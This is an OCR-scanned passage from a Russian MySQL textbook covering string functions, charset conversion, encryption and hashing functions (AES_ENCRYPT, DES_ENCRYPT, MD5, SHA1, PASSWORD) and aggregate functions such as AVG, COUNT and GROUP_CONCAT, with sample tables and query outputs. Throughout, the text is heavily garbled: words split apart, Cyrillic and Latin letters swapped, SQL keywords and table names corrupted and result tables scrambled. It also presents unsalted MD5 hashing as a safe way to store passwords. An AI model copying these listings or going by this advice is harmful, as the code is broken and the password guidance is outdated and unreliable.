список для ти па SET , заменяя 1 значениями изспискаbit0_str, bitl_str, ... , приэтом для первого разряда используется bi tO_str, для второго - bitl_str и т. д.
_ 1 _ 7 _ 8 ______________________________________________ ч _ а _ с _ m _ Ь _ I _ . _ О _ б _ щ � u _ е __ в о_ п � р � о�� Фун кция MID(str, pos [ , len]) , SUBSTRING ( s t У, pos, len) OCT (N) ORD (str) QUOTE (str) RE PEAT (str, coun t) RE PLACE (str, from_str, to_s tr) REVERSE (str) RIGHT (str, len) RPAD (str, len, pa ds tr) RTRIM (st r) Та блица 2. 15 (продолже ние) Описа н ие Возвращает подстроку строки str, которая начи- нается с позиции pos И имеет дл ину len симво- лов. Если третий параметр len не указывается, то подстрока возвращается , начиная с позиции pos И до конца строки s tr Возвращает числ о N в восьмеричной системе счисления Возвращает АSСII-код крайнего левого символа строки str. Аналогична функции AS CII (), но в отличие от последней ко рректно работает с мно- гобайтн ыми кодировками Экранирует строку str С те м, чтобы получить ко рректное значение для SQL-выражения. Стро- ка заключается в оди нарные ка вычки, и каждое вхождение оди нарной кавычки ( ' ), обратн ого сл эша (\), значения АSСII-символов nul и <Ctrl> +<Z> экранируются обратн ым сл эшем Возвращает стр оку, полученную из со ип t повто- рений стр оки str. Есл и аргумент coun t имеет отрицател ьное значение или ноль, возвращается пуста я стр ока Возвращает строку s tr, В кото рой все подстроки from str заменены to str - Возвращает стр оку s tr, записанную в обратном порядке Возвращает len крайних правых символов стро- ки s tr или всю строку s tr, если ее длина короче len. Функция возвращает пустую стр оку, есл и аргумент len равен NULL или меньше 1. Есл и строка s tr равна NULL, также возвращает NULL Возвращает строку str, дополненную справа стро- кой pads tr до дл ины len. Если строка s tr содер- жит более len символ ов, она усекается до len Возвращает строку s tr, из которой удалены все конечные пробелы
гла ва 2. Работа с СУБД MySQL ;. .---- ..- ФУНКЦИЯ 1- S OUNDEX (str } SPACE ( N) SUBSTRING_INDEX ( str, del im, N) TRIM ([[BOTH I LEAD ING I TRAILING] [rems tr] FROM] str} UNCOMPRE SS ( s tring_ to_ un compress ) UNCOMPRE SSED_LENGTH ( compre ssed_string) 179 Та блица 2. 15 (продолжение) Описание Возвращает произношение стр оки str по ал го­ ритму, описанному Д. Кнутом. Все неалфавитные символ ы в стр оке игнорируются, а национальные символы рассматриваются как гл асные Возвращает строку, состоящую из N пробелов, или пустую стр оку, есл и N имеет отри цател ьное значение Возвращает подстроку стр оки str. Если пара­ метр N имеет положител ьное значение, то функ­ ция SUBSTRING_INDEX () находит N- e вхождение (отсчет сл ева) подстроки de lim в строку sU- И возвращает всю часть строки , расположенную сл ева от подстроки de lim. Если N имеет о\рица­ тел ьное значение, то находится N-e вхождение (отсчет справа) подстроки del im в строку str И возвращается часть строки , расположенная справа от подстроки de lim Удаляет из строки str расположенные в начале (в конце) символы, указа нные в строке rems tr. Если указано кл ючевое сл ово LEAD ING, удаляют­ ся символы, расположенные в начале, если TRAILING - В конце, если ВОТН - и В начале, и в ко нце. Если ни одно из кл ючевых сл ов не задано, то по умолчанию устанавливается ВОТН. Есл и строка rems tr не задана, в качестве удал яемых символов высту пают пробел ы Разархивирует строку 5 tr ing_ to_ uncompre ss, сжатую при помощи функции COMPRE SS (). Если в качестве аргумента функции передается обыч­ ная , не сжатая строка, возвращается NULL Возвращает дл ину стр оки compressed_string, сжатой функцией COMPRE SS () до применения данной функции, т. е . при помощи функции UNCOMPRE S SED_LENGTH () можно выяснить, какой дл ины будет стр ока после разархивирования ее функцией UNCOMPRE SS ( )
180 Фун кция Описание Часть 1. Общие вопрось/ -- Та блица 2. 15 (окончание) UNHEX (str) Является обратной функции НЕХ ( ) И интер п ре- ти рует каждую пару символов строки s tr как ш е- стнадцатеричный код, который необходимо п р е- образовать в символ UPPER (str) , Переводит все символы строки 5 tr В верхний UCASE (str) регистр 2.23.3.1. Изменение коди ровки строки Функция CONVERT (expr US ING ch arse t) преобразует текст из одной код и ­ ровки в другую (л истинг 2.92). Листинг 2.92 . Преобразо вание кодировк и SELECT CONVERT ( 'База ДaнIiЬDC МySQL ' USING koi 8r) ; +------------------------------------------+ I СОNVERТ ('База данных MySQL ' USING ko i8r) I +------------------------------------------+ IaIOГЮДЮМ МШУ MySQL +------------------------------------------+ Иногда требуется не преобразовать строку из одной кодировки в другую п ри помощи функции CONVERT ( ) , а указать ее кодировку: это осуществляется п ри помощи так называемого пр едсmавumеля : имени кодировки, начинающегося с символа подчеркивания (листинг 2.93). Л и стинг 2.93. Альте рнативное преобразова ние кодировки SELECT _koi 8r 'Баз а ДaнIiЬDC МySQL ' ; +-------------------+ IaIOГЮДЮМ МШУ MySQL I +-------------------+ IaIOГЮДЮМ МШУ MySQL I +-------------------+
гпава 2. Работа с СУБД MySQL 181 - ИМЯ кодировки, которое предваряется знаком подчеркивания , помещается п ер ед преобразуемой строкой; результатом является строка в требуемой ко­ дировке. 2.23.3.2. Первые несколько символ ов строки оче нь часто требуется выбрать из столбца не весь текст, а лишь нескол ько перв ых символов. Пусть используется таблица tbl (см. листинг 2.86), содер­ жащая сведения о сотрудниках, из которой требуется извлечь первые 5 сим­ вол ов поля fio. Эту задачу удобно решать при помощи функции SUBSTRING ( ) (листи н г 2.94). Листинг 2.94. Извлечение из столбца первых пяти символ ов SELECT SUВSТRING (fio ,l,5) FROM tыl ; +--- -----------------+ I SUBSTRING (fio, l, 5) I + ----- -- ----- -- - -----+ Тимир МаЛЬШI Абрам Ганюш +--------------------+ 2.23.3.3. Извлечение инициалов Пусть имеется таблица tb l, кото рая содержит полные фамилию, имя и отче­ ство сотрудников в трех разных столбцах (листинг 2 .95). Л истинг 2.95. Таблица tыl CREAТETAВLEtыl( ); id INТ(ll) NOT NUL L , family TINYТEXТ NOT NUL L , пате TINYТEXТ NOT NUL L , patrony.mic TINYТEXТ NOT NUL L
182 Часть 1. Общие вопрось/ INSERT INТO tbl VALUES (1 , 'ТИмирязев ' , 'Владимир' , ' КОНС'l'ан'I'ИНович ') ; INSERT INТO tыl VALUES (2 , 'Ма.льDl!ев' , 'Юрий' , 'Гаврилович') ; INSERT INТO tЬ1 VALUES (3 , 'Абрамов ', 'КОНС'l'ан'I'ИН ', , ТИмурович ' ) ; INSERT INТO tыl VALUES (4, , Гa.нIOl ll1GUi ', 'Валерий ', ' Владимирович') ; - Пусть требуется извле�ь тол ько фамилию и инициалы, т. е . вместо "Тимиря_ зев Владимир Константинович" получ ить строку "Тимирязев В.к ." . Ре ш ить данную задачу можно при помощи запроса, представленного в листи нге 2.96 . Листинг 2.96 . Извлечение инициалов работников из таблицы tbl SELECT CONCAT (family , , " SUВSТRING (name,l,l) , . , SUВSТRING (patronymic ,l,l) , '.' ) AS fio FROM tЬl; +----------------+ I fio +----------------+ Тимирязев В.К. МаЛЬШlев Ю.Г . Абрамов К . Т. Г анюшкин В.В. +----------------+ Как видно из листи нга 2.96, инициалы извлекаются при помощи функции SUBSTRING ( ) , а полученный резул ьтат объединяется в одну строку при помо­ щи функции CONCAT ( ) . 2.23.3 .4. Изменение р егистра строки Пусть требуется перевести все строки табл ицы tbl (см. листи нг 2.95) в верх­ ний регистр . Для это го можно воспользоваться запросо м, представл енным в листинге 2.97. Листинг 2.97. Преобразова ние с трок в верхний регистр UPDAТE tыl SET family = UPPER (family) , пате = UPPER(naтe) , patronymic = UPPER (patronymic) ; SELECT * FROM tыl;
глава 2. Работа с СУБД MySQL ;- --- +-- - - +- - ------- --+------------+----------------+ I id I faтily I пате I patronymic I +---- +- - - --------+------------+----------------+ 1 ТИМИРЯЗЕВ ВЛАДИМИР КОНСТАНТИНОВИЧ 2МAПЬШIEВ 3 АБРАМОВ 4ГAНICJIlI КИН ЮРИЙ ГАВРИПОВИЧ КОНСТАНТИН ТИМУРОВИЧ ВАЛЕРИЙ ВЛАДИМИРОВИЧ + --- - +-----------+------------+----------------+ 183 Как ВИДНО из листинга 2.97, преобразование строки в верхний регистр осу­ ще ст вляется при помощи функци и UPPER ( ); для решения обратной задач и п редн аз н ачена функция LOWER ( ) (листи нг 2.98). ЛисТИ НГ 2.98 . Преобразование строк в нижний регистр UPDAТE tbl SET family = LOWER (family) , пате = LOWER(naтe) , patronymic = LOWER (patronymic) ; SELECT * F.ROM tbl; +----+-----------+------------+----------------+ I id I faтily I пате I patronymi c +----+- ----------+------------+----------------+ 1 тимирязев владимир константинович 2 малышев юрий гаврилович 3 абрамов константин тимурович 4 ганюшкин валерий владимирович +----+-----------+------------+----------------+ в л исти нге 2.99 в верхний регистр переводится лишь первая буква каждой строки табл ицы tbl. ЛИСТИ НГ 2.99 . Перевод первого символ а е верхний регистр UPDAТE tbl SET family = CONCAT (UPPER ( SUВSТRING (family ,l,l» ,SUВSТRING (family,2» , пате = CONCAT (UPPER ( SUВSТRING (naтe, l,l» ,SUВSТRING(naтe,2» , patronymic = CONCAT (UPPER ( SUВSТRING (patronymic ,l,l» , SUВSТRING (patronymic ,2» ; SELECT * F.ROM tbl;
184 Часть 1. Общие вОПРОС!;,1 - +----+-----------+------------+----------------+ IidIfamily I пате I patronymi c +----+-----------+------------+----------------+ 1 Тимирязев Владимир Константинович 2 Малышев Юрий Г аврилович 3 Абрамов Константин Тимур ович 4 Г анюшкин Валерий Владимир ович +----+-----------+------------+----------------+ 2.23 .4 . Функции шифрования Разл ичают два вида шифрования : обратимое и необрати мое. При обрати мом шифровании зашифрованный текст может быть подвергнут дешифровке. При необратимом шифровании результатом является хэ ш, который невозмож н о восстановить в исходный текст. В табл . 2. 16 представлены функции шифро ­ вания, доступные в СУБД MySQL. ЗАМЕЧАНИЕ Если функции передается в качестве од ного из аргументов значение NULL, она также возвращает NULL. Та блица 2. 16. Функции шифров а ния Фун кция Описание AE S_ENCRYPT (st r, Принимает в качестве аргумента str строку, ко- key_str) то рую необходимо подвергнуть шифрованию, и секретн ый кл юч key_str. Входные аргументы мо- гут быть любой дл ины AE S_DECRYPT ( cryp t_str, Принимает в качестве первого аргумента зашиф- key_s tr) рованную при помощи AE S _ENCRY PT () строку. Кл юч key_ s tr при это м должен совпадать как в первой, так и во второй строках. Если функция AE S_DECRYPT () обнаружи вает некорректн ые дан- ные или некорректное заполнение строки , должно возвращаться значение NULL. Однако AE S_DECRYPT () вполне может вернуть величину, отличную от NULL, или, возможно, просто "мусор" ENCODE (str, pa ss_str) Шифрует стр оку s t r, используя аргумент pa ss_str как секретн ый кл юч
глава 2. Работа с СУБД MySQL ;. ...--- 185 с- -­ ФУНКЦИЯ -- DECODE (cryp t_str, pass_ s tr) DES ENCRYPT (str [, (key _ number I key_s tring) ]) DES DECRYPT (str [ , key=string] ) ENCRY PT (str[, salt] ) MD5 (str) Та блица 2. 16 (продолже ние) Описание Дешифрует строку cryp t_str, зашифрованную функцией AE S DECRYPT () . Аргумент pa ss str испол ьзуется как секретный кл юч - Шифрует строку str, используя аргумент pa ss_str как секретн ый ключ. В качестве второго необяза­ тел ьного параметра может выступать строка key stri ng, задающая секретный кл юч. В случае использования секретного ключа необходимо при­ водить его в качестве второго параметра и в функ­ ции дешифровки DE S_DECRYPT ( ) . Вместо секретно­ го ключа можно указать номер key number, принимающий значения от О до 9. Н омер указывает на запись в ключевом DЕS-файле сервера , место­ положение которого можно задать при старте сер­ вера MySQL в параметре --de s - key- file Дешифрует строку str, зашифрованную при помощи функции DES_ENCRYPT ( ) . Если при шифрован ии в качестве второго параметра функции DES ENCRYPT () бblЛО передано число или второй параметр был опущен, то параметр key_s tring функции DES_DECRYPT () указывать уже не требует­ ся, так как он прописывается в зашифрованную строку. Такой подход, когда секретный ключ хранит­ ся на сервере и не передается через сетевое соеди­ нение, значител ьно безопаснее, поскольку значение ключа невозможно извлечь из сетевого трафика. Есл и второй параметр не указывается, то предпола­ гается , что испол ьзуется первая строка DЕS-файла Подвергает строку str необратимому шифрова­ нию, используя вызов системной функци и crypt () UNIX. Если второй необязательный па­ раметр sal t не указывается , то результат каждый раз получается новым Принимает строковый параметр s tr И возвращает 128-битную контрол ьную сумму, вычисленную по алгоритму МО5. Возвращаемая величина пред­ ставляет собой 32-разрядное шестнадцатеричное числ о, кото рое уникально дл я строки , та ки м обра­ зом дл я строк, отличаю щихся хотя бы од ним сим­ волом, резул ьтат функци и MD5 ( ) будет разный. В то же время для двух одинаковых строк всегда возвращается оди наковый резул ьтат
186 Функция PAS SWORD (str) OLD_PAS SWORD (str) SHAl (str) Часть 1. Общие вопр ось/ -- -- Та блuца 2. 16 (окон чание) Описание Подвергает необратимому шифрованию данные s tr. Именно эта функция испол ьзуется дл я шиф- рования паролей в MySQL Эмул и рует работу функции PAS SWORD ( ) версий MySQL, предшествующих MySQL 4.1 Вычисляет 160-битную контрольную сумму по алго- ритму SHA 1 (Secure Hash Algorithm) для строки s tr 2.23.4 .1 . Обрати мое шифрование При обратимом шифровании, как правило, предоставляются две функции для шифровки и расшифровки данных. Наиболее серьезную защиту обеспечивают функции AE S_ENCRYPT (st r, key_s tr) и AE S_DECRYPT (cryp t_s tr, key_str ) , которые используют официальный алгоритм AES (Advanced El1cryptiol1 Stап­ dard). В данном алгоритме применяется кодирован ие с 128-битным ключом, однако при помощи добавки (патча, patcl1) к исходному коду СУБД MySQL длину ключа можно увеличить до 256 битов. Функция AE S_ENCRYPT ( ) принимает в качестве аргум е нта str стро ку, кото­ рую необходимо подвергнуть шифрованию, и секретн ый ключ key_ s tr. Входные аргументы могут быть любой дл ины. Если один из аргументов ра­ вен NULL, то результат это й функции таюке будет иметь значение NULL. Функция AE S_DECRYPT () принимает в качестве первого аргумента заш ифро­ ванную при помощи AE S_EN CRYPT ( ) стр оку. Ключ key_str при это м должен совпадать как в первой, так и во вто рой стро ках. Есл и ФУ НКЦИЯ AES_DECRYPT ( ) обнаруживает некорректн ые данные или некорректное запол ­ нение строки, должно возвращаться значение NULL, од нако она вполне может вернуть величину, отличную от NULL, или, возможно, просто " мусор". В листинге 2. 100 приводится пример использования функций AE S _ENCRYPT () ИAES DECRYPT(). Листинг 2.100. Использо вание функций AES _ENCRYPT () и AES_DECRYPT () SELECT AES_ENCRYPT ( 'МySQL ' , 'секретный КJIЮЧ') ; +------------------------------ ---------+ AES_ENCRYPT ('MySQL' , 'секретный кruоч' ) I
гл ава 2. Работа с СУБД MySQL :.:- -- +- -- - - - - - -------------------------------+ . . ЗАьZЭj9к· -еП' ''Мh I.' + - - - - -- - - - ---- --------------------------+ SELECT AE SYECRYPT(' ••. ЗАьZЭj 9I1:·-е�' , 'секретный II:ЛЮЧ') ; +-- - - - - - - -- -------- -------------------- ------------+ J AES_DECRYPT (' .••ЗАьZЭj 9k · -еП'''Мh ' , 'секретный ключ ') +-- - - - - - -- ---- ---- --------------------- ------------+ I MySQL +-- -- - - - - - ---- --- ---------- ----------- -------------+ 2.23.4.2. Нео6рати мое шифрование 187 ФУНКЦИ Я МО5 () (листинг 2. 1 01) осуществляет необратимое шифрование дан­ н ы х по ал горитму МО5 (Message-Digest AlgOl"itl1m) и имеет следующий синтаксис: MD5 (str) Фун кция принимает строковый параметр str И возвращает 128-битную кон­ трольную сумму, вычисленную по алгоритму МО5. Возвращаемая величина представляет собой 32-разрядное шестнадцатеричное числ о, кото рое уни­ кально для строки, то есть дл я строк, отлич&ющихся хотя бы одним симво­ л ом, результат функции МО5 () будет разный. В то же время дл я двух одина­ ко вых строк всегда возвращается одинаковый результат (л истинг 2. 1 О 1). Листинг 2.101 . Использование функции МD5 () SELECTМD5('МySQL') , МD5('МySQL'); t----------------------------------+----- - - --- - --- ----- -- --- -- ---- ----+ I МО5 ('MySQL' ) I МО5 ('MySQL' ) +----------------------------------+ -- --- -------- -- ------- -------- ----+ I б2аОО4Ь9594 6ЬЬ97541аfа4 71dсса7 3а I 62a004b95946bb97541afa471dcca7 3a I t-- - - - ---------- ---------- ---------+ --------- - ------- ------- -------- --+ SELECT МО5('MySQLl') , МО5('MySQL') ; t -- - - -------------- - - -- - - - _________+ ________ _________ _------- --------- + I МО5 ('MySQLl ') I МО5 ('MySQL' ) t---- - -- _____ _____ _________________+ ___ ________ ______ _______ ________ __+ I fc 3dd4 ddcbl32delf9552818344elb0 9 I 62a0 04b9594 6bb97541afa471dcca73a I t--- - _ ______ ___ _____ _______________+ ___ ______ _______ _______ __ ___ __ _ _ _ _+
188 Часть 1. Общие вопр ось/ - Ал горитм МО5 часто применяется также для создания уникал ьного ХЭШ-КОДа объемных файлов, которые передаются по сети . Загрузив файл, всегда м ож но проверить его цел остность, вычисл ив код по алгоритму МО5 и сравнив п олу _ че нный резул ьтат с хэ ш-кодом, предоставляемым распростран ителем. Это позволяет отследить поврежде ния файла, вызванные передачей через сеть , а также предотвратить фальсификацию дистрибути ва. Необратимое шифрование может применяться также для шифрования п ар а­ лей - в базе данных хранятся не сами парол и, а их МD5-хэши. Во время ауте нтификации парол ь, введен ный пользователем, также подвергается об ­ работке функцией МО5 ( ), после чего МD5 -хэ ши подвергаются сравнению. Такая схема позволяет хран ить пароли в защищенном виде, и никто, даже ад министратор базы данных, не имеет возможности узнать пользоватеЛ Ь С Кие парол и. В последнее время тако й вид аутенти фикации приобретает все боль­ шую популярность . Поскольку вследствие применения паузы после ввода некорректного пароля время, необходимое для подбора пароля, многократно возросло, средства подбора единичных паролей по сети практически вышли из употребления, - злоумышленники стараются получить всю базу с п ара­ ля ми. Есл и же в базе хранятся только МD5-хэши, злоумышленнику придется восстанавливать методом перебора каждый из заш ифрованных паролей. 2.23 .5. Агрегатн ы е фун кции Функции, применяемые совместно с ко нструкцией GROUP ВУ, часто называют агрегатными или сумм ирующими фун кциями. Они предназначены дл я вы­ числ ения одного значения для каждой группы, создаваемой конструкцией GROU P ВУ. Агрегатные функции позволяют определить кол ичество стро к, входящих в группу, подсчитать среднее значение ил и получить сумму значе­ ний столбцов. Результирующее значение рассчиты вается тол ько для значе­ ний, не равных NULL (исключение составляет лишь функция COUNT ( * ) , кото­ рая подсчитывает общее кол ичество строк). Дан ные функции допусти м о испол ьзовать и в запросах без группировки: в это м случае вся выборка вы­ ступает как одна большая группа. В табл . 2. 17 представлен список агрегат­ ных функций, доступных в MySQL. Та блица 2. 1 7. Агрегатные функц ии My SQL Фун кция Описание AVG ( expr) Возвращает среднее знач ение аргумента expr BIT_AN D (exp r) Возвращает побитовое И ДЛЯ всех битов в expr
глава 2. Работа с СУБД My SQL ;.- -- 189 Та блица 2. 1 7 (окончание) .- - фуН КЦИЯ Описа ние 1-" B IT_OR (exp r) Возвращает побитовое ИЛИ для всех бито в в expr - BIT_X OR (exp r) Возвращает исключающее побитовое ИЛИ для всех битов в expr - COUNT (expr) , Подсч итывает кол ичество записей в expr COUNT(*) , COUNT (DISTINCT exprl, expr2, . ..) GROUP_CON CAT ( expr) Объединяет значения отдел ьных групп, полученных в резул ьтате применения ко нструкци и GROUP ВУ, В од ну стр оку MIN ( [DISTINCT] Возвращает минимальное значение среди всех не- expr) пустых значений выбранных строк в столбце expr МАХ ( [DISTINCT ] Возвращает максимальное значение среди всех не- expr) пустых значен ий выбранных стр ок в стол бце expr STD (exp r) , Возвращает ста ндартное среднеквадратичное откло- STDDEV ( expr) , нение значения в аргументе expr STDDEV_ РОР (exp r) STDDEV_SAМP ( ) Возвращает выборочное среднеквадратическое от- кло нение expr SUM ( [DISTINCT ] Возвращает су мму величин в стол бце expr expr) VAR_P OP (exp r) , Возвращает ста ндартное отклонение значения в VAR IANCE (exp r) столбце expr VAR_SAМP ( expr) Возвращает выборочное отклонение значения в аргу- менте expr 2.23.5 . 1. Сред нее значение ФУНКЦИЯ AVG () возвращает среднее значение аргумента expr И имеет сле­ ДУЮЩИЙ синтаксис: AVG ([DIST INCT ] expr)
190 Часть 1. Общие вопр ось/ - в качестве аргумента expr обычно выступает имя стол бца. НеобязатеЛ Ы{ое ключевое слово DISTINCT позволяет дать указание СУБД MySQL обрабаты_ вать тол ько уникальные значения столбца expr. ЗАМЕЧАНИЕ Кл ючевое слово DISTINCT в функции AVG () добавлено, начиная с ве р_ сии 5.0 .3. в листинге 2.102 представлена таблица саtalogs, состоя щая из трех полей: id_catalog - первичный кл юч, пате - название раздел а и total - кол и че­ ство единиц дан ного товара на складе. Листинг 2.102. Таблица catalogs CREAТE TAВLE catalogs ( ); id_catalog INТ (ll) NOT NUL L auto_increment , пате TINYТEXТ NOT NUL L , total INТ(l1) NOT NUL L , PRIМARY КЕУ (id_catalog) INSERT INТO catalogs VALUES ( 1, 'Процессоры ', 15) ; INSERT INТO catalogs VALUES (2 , ' Материнские ллаты ,, 4) ; INSERT INТO catalogs VALUES (3 , 'видеоадanтеры , , 7) ; INSERT INТO catalogs VALUES (4 , 'Жесткие диски' , 18) ; INSERT INТO catalogs VALUES (5, 'Оперативная память ', 9) ; В листи нге 2. 103 приводится запрос к табл ице catalogs, который возвращает среднее кол ичество то варов на складе. Листи нг 2.103. Сред нее количество то варных позиций на складе SELECT AVG (total ) FROM catalogs ; +------------+ I AVG (total) I +------------+ 10. 6000 I +------------+ При испол ьзовании конструкции GROUP ВУ функция AVG () вычисляет среднее значение дл я каждой из группы. Создадим табл ицу products (л исти нг 2. 1 04),
глава 2. Работа с СУБД MySQL :. .-- 191 в коТОРОЙ хранится информация обо всех имеющихся то варах. Табл ица со­ держит сл едующие поля : CI id_product - первичный кл юч; CI п ате - название товара; CI price - цена за единицу товара; CI id_catalog - ссылка на раздел катал ога, к которому относится то вар . листинг 2.104. Табли ца products CREAТE TAВLE products ( idyroduct INТ (11) NOT NUL L AUТO_тCREМENТ , naПIe TINYТEXТ NOT NПL L , price decimal {7 ,2) NOT NПL L , id_catalog int (ll) NOT NПL L , PRIМARY КЕУ (idyrOduct) , КЕУ id_catalog (id_catalog) ); INSERT INТO products VALUES (1 , , материнская INSERT INТO products VALUES (2 , , Оперативная INSERT INТO products VALUES (3 , 'Процессор N INSERT INТO products VALUE S (4 , 'Процессор N плата N 1', '2050.00' , память N 1', '1500.00' , l', '6000.00' , 1); 2', '3523.00' , 1); INSERT INТO products VALUES (5 , 'Процессор N 3' , '4856 . 00 ' , 1) ; INSERT INТO products VALUES (6, 'Оперативная память N 2' , '1028 .00' , INSERT INТO products VALUES (7 , 'материнская плата N 2' , '1845 .00' , INSERT INТO products VALUES (8 , 'Жесткий диск N 1' , '4210.00' , 4) ; INSERT INТO products VALUES (9, 'Видеоадаптер N 1' , '367 0.00' , 3) ; 2); 5); 5); 2); Есл и сгруппировать записи табл ицы products по полю id_ catalog, при по­ м ощи встроенной функции AVG () можно узнать среднюю цену по каждому из п яти раздел ов катал ога. В листи нге 2' . 105 выводится резул ьтирующая табл и­ ца с уникальными номерам и id_catalog и соответствующие каждому разде­ лу катал ога средние це ны. Листи нг 2.105. И с по льзо вание ФУНКЦИИ AVG () совместн о с GROUP ВУ SELECT id_catalog , AVG (price) FROM products GROUP ВУ id_catalog ; + ------------+ ----- ------- -+ id_catalog 1 AVG (price )
192 +------------+------ -------+ 1 4793 . 000000 2 1947 . 500000 3 3670 . 000000 4 4210 . 000000 5 1264 . 000000 +------------+ -- -- ---------+ Часть 1. Общие вопрось/ - Средние значения, полученные при помощи функции AVG (), могут использо­ ваться в вычисляемых столбцах. Например, для того чтобы увеличить сред ­ ние значения дл я каждого раздела катал ога на 20%, достаточно умножить либо стол бец price, либо функцию AVG () на 1.2 (л истинг 2.106). Листинr 2.106. Использование функции AVG O В выражениях SELECT id_catalog , AVG (price* l.2) FROМ products GROUP ВУ id_catalog ; +------------+- - --- -- ---- -- - - -+ I id_cata1og I AVG (price* 1.2) I +------------+------- ---------+ 1 5751 . 6000000 2 2337 . 0000000 3 4404 . 0000000 4 5052 . 0000000 5 1516. 8000000 +------------+------------- ---+ 5 rows in set (0.02 зес) SELECT id_catalog , AVG (price) *1 .2 FROM products GROUP ВУ id_catalog ; + ------------+--- -------------+ I id_catalog I AVG (price*1 .2) I +------------+------ ----------+ 1 5751 . 6000000 2 2337 . 0000000 3 4404 . 0000000 4 5052 . 0000000 5 1516. 8000000 +------------+ - --- ------------+ 5 rows in set (0.00 зес)
глава 2. Работа с СУБД MySQL ;. .;..---- 193 В перво м случае сначала каждое из значе ний стол бца price умножается на 1.2, а затем производится группировка и вычисл ение результата при по­ мо щи функции AVG ( ) . Во втором случае сначала осуществл яется груп пировка з н ач ен и й и вычисл ение средних значений, и лишь после этого резул ьтат ум­ ножаетс я на 1.2. Как следствие, первый запрос выпол няется 0 , 02 секунды , а второй - 0 ,00 секунды. 2 .23 . 5.2. Сортировка агрегатн ых значений ПО полученным в резул ьтате выполнения агрегатн ых функций значениям может в ыпол няться сортировка резул ьтирующей табл ицы . Для этого стол бцу н аз начается псевдо ним при помощи оператора AS, который передается кон­ струкции ORDER ВУ (листинг 2. 1 0 7). Листинг 2.107. Сортировка результирующей таблицы SE LECT id_catalog , AVG (price ) AS price FROM products GROUP ВУ id_catalog ORDER ВУ price DE SC ; +-- - - - - ----- -+-- -----------+ I id_cata1og I price +------------+------- ------+ 1 4793 . 000000 4 4210 . 000000 3 3670 . 000000 2 1947 . 500000 5 1264 . 000000 +------------+-- ------ -----+ 2.23 .5.3 . Подсчет кол ичества записей в табл ице Подсчет кол ичества записей в таблице осуществл яется при помощи функции COUNT (), имеющей нескол ько форм со следующим синтаксисом: COUNT (exp r) COUNT (*) COUNT (DISTINCT exp rl , expr2 , ...) Первая форма возвращает кол ичество записей в табл ице, поле expr дл я кото­ рых не равно NULL. В листинге 2. 1 0 8 представл ен дамп табл ицы tb l.
194 Листинг 2. 108. Да мп таблицы tb l CREAТETAВLEtbl( id int(ll) NOT NШL, value int (l1) default NUL L ); INSERT INТO tbl VALUES (1 , 230) ; INSERT INТO tbl VALUES (2, NШL) ; INSERT INТO tbl VALUES (3 , 405) ; INSERT INТO tbl VALUES (4, NШL) ; Часть 1. Общие вопр ось/ - в листи нге 2. 109 представл ен запрос, возвращающий кол ичество записе й в таблице tbl. Листинг 2.109. Использо вание функции COUNT () SELECT * FROM tbl; + ----+ -- --- --+ IidIvalueI + ----+ -- -- ---+ 1 230 2 NULL 3 405 4 NULL + ----+ -------+ SELECT COUNТ (id) , COUNТ (value) FROM tbl ; +-----------+------ --------+ I COUNT (id) I COUNT (value ) I + -----------+ ------- -------+ 4I 2I + -----------+ ------ --------+ Как видно из листинга 2.109, для полей id и value возвращаются различные значения. Это связано с те м, что кол ичество NULL-полей в столбцах разл ича­ ется . Форма функции COUNT ( *) возвращает общее кол ичество строк в табл ице, не­ зависимо от того, принимает какое-л ибо поле значение NULL или нет (лис­ тинг 2.1 1 О). Запись учитывается в результате, даже если все ее поля равны NULL.
глав а 2. Работа с СУБД My SQL - листинг 2.1 10. Использование функции COUNT (*) SELECT COUNТ (*) FROМ tbl; +---------- + IсОИNТ(*) I +---------- + 4I +- --------- + 195 Фун кция COUNT ( * ) оптимизирована для очень быстрого возврата резул ьтата при усл овии, что команда SELECT извлекает данные из одной таблицы, ника­ кие другие столбцы не обрабатыв аются и запрос не содержит условия WHERE . Фун кция COUNT () может быть использована не тол ько для подсчета общего количества записей в табл ице, но и для подсчета количества строк в выборке с усло вием WHERE (л истинг 2.1 1 1). Листи нг 2.1 11 . Использование функции COUNT () совместно с WНERE SELECT COUNТ (*) FROM tbl WНERE value < 300 ; +- --------- + I COUNT(*) I + ---------- + 1I +----------+ в листинге 2. 1 11 представлен запрос, извлекающий из табл ицы tbl записи, чье поле value меньше 300. Следует обратить внимание, что поля, содержа­ щие NULL, не удовлетворяют этому условию, так как NULL обозначает отсут­ ствие дан ных (поле может быть как больше, так и меньше 300 - информа­ ция об это м не известна) . Разу меется, как агрегатная функция COUNT () может быть использована для вычисления коли чества записей в каждой из групп, полученных в резул ьтате п рименения группировки результата с помощью конструкции GROU P ВУ. В листинге 2. 12 представлен запрос к табл ице products (л истинг 2. 112), со­ о бщающий о количестве имеющегося товара по каждому разделу катал ога. Листинг 2.112. Подсчет количества товара ДЛЯ каждого раздела каталога SELECT id_catalog , COUNТ (*) AS total FROМ products GROUP ВУ id_catalog ORDER ВУ total DESC ;
196 +------------+--- --- -+ I id_catalog I total I +------------+ -------+ 1 3 5 2 2 2 4 1 3 1 +------------+- ------+ Часть 1. Общие вопросы Сортировка строк в результирующей таблице производится по кол ичеству имеющегося товара. Для этого столбцу COUNT ( * ) при помощи ключевого сл ова AS назнач ается псевдоним total, который затем используется в выра­ же нии ORDER ВУ. Третий вариант функции COUNT () позволяет использовать ключевое сл ово DISTINCT, которое обеспечивает подсчет только уникальных значений столб­ ца (листинг 2. l 13). Листинг 2.11З. Использование ключевого слова DISTINCT совместно с соттт () SELECT COUNТ (id_catalog) , COUNТ (DISTINCT id_catalog) FROM products ; +-------------------+----------------------------+ I COUNT (id_catalog) I COUNT (DI STINCT id_cat alog ) I +-------------------+----------------------------+ 9I 5I +-------------------+----------------------------+ 2.23.5.4 . Объеди нение значений груп пы Для объединения значения группы предназначена функция GROU P_CONCAT ( ) , которая имеет следующий синтаксис : GROUP_CONCAT ( [DISTINCT ] expr [,expr .. .] [ORDER ВУ { unsigned_in teger I col пате I expr } [ASC I DE SC] [, col_name . ..]] [SE PARAT OR str_val] ) В простейшем случае функция принимает имя столбца expr и возвращает строку со значениями стол бца, разделенными запятыми. В листинге 2. 1 14
